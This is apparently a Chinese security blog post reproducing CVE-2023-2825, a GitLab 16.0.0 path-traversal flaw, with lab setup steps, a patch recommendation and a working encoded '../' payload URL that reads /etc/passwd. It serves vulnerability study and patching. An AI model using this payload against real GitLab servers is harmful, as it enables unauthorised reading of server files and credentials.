(CVE-2023-2825)|GitLab任意文件读取
2023-5-26 08:3:59 Author: 才疏学浅的H6(查看原文) 阅读量:72 收藏

漏洞说明

GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,可通过 Web 界面访问公开或私人项目,在GitLab CE/EE中,当附件存在于嵌套在至少五个组中的公共项目中时,未经身份验证的恶意用户可以使用路径遍历漏洞读取服务器上的任意文件

影响版本

GitLab:CE == 16.0.0GitLab:EE == 16.0.0

漏洞复现

搭建环境(本人使用的是Centos9):

安装yum源:

curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash

安装 GitLab-CE-16.0.0

yum install gitlab-ce-16.0.0-ce.0.el8.x86_64.rpm

配置gitlab文件

vim /etc/gitlab/gitlab.rb

在执行命令重新加载配置:

gitlab-ctl reconfigure

完成上面步骤后访问:

http://your_ip/users/sign_in

username为root,password使用命令查看:

cat /etc/gitlab/initial_root_password

登录gitlab创建group(至少5个组):

在group9中创建project项目:

创建一个issues,在其中插入附件:

burp访问test.txt(之前我已经创建过一个test的issues了)

使用payload访问任意文件:

/group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/cafeb976a10993024411e6b1f060d954//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

修复建议

升级至安全版本:16.0.1及以上

参考

https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/

本文章仅用于学习交流,不得用于非法用途


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486059&idx=1&sn=8b2eb58914c4d12a1dfa3d68c1553220&chksm=c1f925d9f68eaccfae4882093f04494bfe36caf3ac1be72e85cb2974d6a4ff4c2d5d6cab397a#rd
如有侵权请联系:admin#unsafe.sh